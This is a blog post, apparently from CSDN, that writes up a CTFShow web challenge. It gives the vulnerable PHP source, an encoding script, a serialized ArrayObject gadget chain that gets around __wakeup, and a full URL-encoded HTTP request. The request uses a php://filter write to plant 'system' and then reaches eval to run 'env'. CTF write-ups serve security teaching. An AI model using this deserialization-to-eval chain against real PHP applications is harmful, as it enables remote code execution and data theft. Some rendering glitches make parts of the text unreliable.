【Web】CTFSHOW元旦水友赛部分wp_ctfshow元旦水友赛wp(1)

文章讲述了在CTF挑战中,作者通过PHP中的序列化链技巧绕过安全限制,利用`__wakeup`和`__destruct`魔术方法触发环境变量注入,展示了如何构造payload并通过WAF绕过。同时提到了为初学者提供的网络安全学习路径和资源。
摘要由CSDN通过智能技术生成

c o n t e n t = ′ c t f s h o w s h o w s h o w w w w ′ . content='ctfshowshowshowwww'. content=ctfshowshowshowwww._GET[‘chu0’];

chu0参数需要传system,按照下面的脚本

<?php

$b ='system';

$payload = iconv('utf-8', 'utf-16', base64_encode($b));

file_put_contents('payload.txt', quoted_printable_encode($payload));

$s = file_get_contents('payload.txt');

$s = preg_replace('/=\r\n/', '', $s);

echo $s;

运行后得到c=003=00l=00z=00d=00G=00V=00t=00

现在来构造序列化链

首先__wakeup()方法中有一个throw new Exception(“fastfast”);,回强制GC回收导致__destruct魔术方法不起作用从而触发不了其他魔术方法,

使用数组绕过。详解见ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客的ctfshow 第三届愚人杯 easy_php

<?php

highlight_file(__file__);

class ctf{

    public $h1;

    public $h2;


    public function __wakeup(){

        throw new Exception("fastfast");

    }


    public function __destruct()

    {

        $this->h1->nonono($this->h2);

    }

}


class show{


    public function __call($name,$args){

        if(preg_match('/ctf/i',$args[0][0][2])){

            echo "gogogo";

        }

    }

}


class Chu0_write{

    public $chu0;

    public $chu1;

    public $cmd;

    public function __construct(){

        $this->chu0 = 'xiuxiuxiu';

    }


    public function __toString(){

        echo "__toString"."<br>";

        if ($this->chu0===$this->chu1){

            $content='ctfshowshowshowwww'.$_GET['chu0'];

            if (!waf_in_waf_php($_GET['name'])){

                file_put_contents($_GET['name'].".txt",$content);

            }else{

                echo "绕一下吧孩子";

            }

                $tmp = file_get_contents('ctfw.txt');

                echo $tmp."<br>";

                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){

                    eval($tmp($_GET['cmd']));

                }else{

                    echo "waf!";

                }


            file_put_contents("ctfw.txt","");

        }

        return "Go on";

        }

}


$a = new ArrayObject;


$a -> a = new ctf;

$a ->a->h1=new show();

$a ->a->h2=new Chu0_write();


echo serialize($a);

最后得到payload的O改为C,得到

C:11:“ArrayObject”:164:{x:i:0;a:1:{s:9:“gxngxngxn”;O:3:“ctf”:2:{s:2:“h1”;O:4:“show”:0:{}s:2:“h2”;a:1:{i:0;a:1:{i:2;O:10:“Chu0_write”:3:{s:4:“chu0”;N;s:4:“chu1”;N;s:3:“cmd”;N;}}}}};m🅰️0:{}}

Cmd参数为env,flag在环境变量中

最终payload如下:

POST /?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&chu0=c=003=00l=00z=00d=00G=00V=00t=00&name=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/convert.base64-decode/resource=ctfw&cmd=env HTTP/1.1

Host: 935263de-7c5b-4e7d-9528-c32add0787dc.challenge.ctf.show

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 60


%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1

③easy_login

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值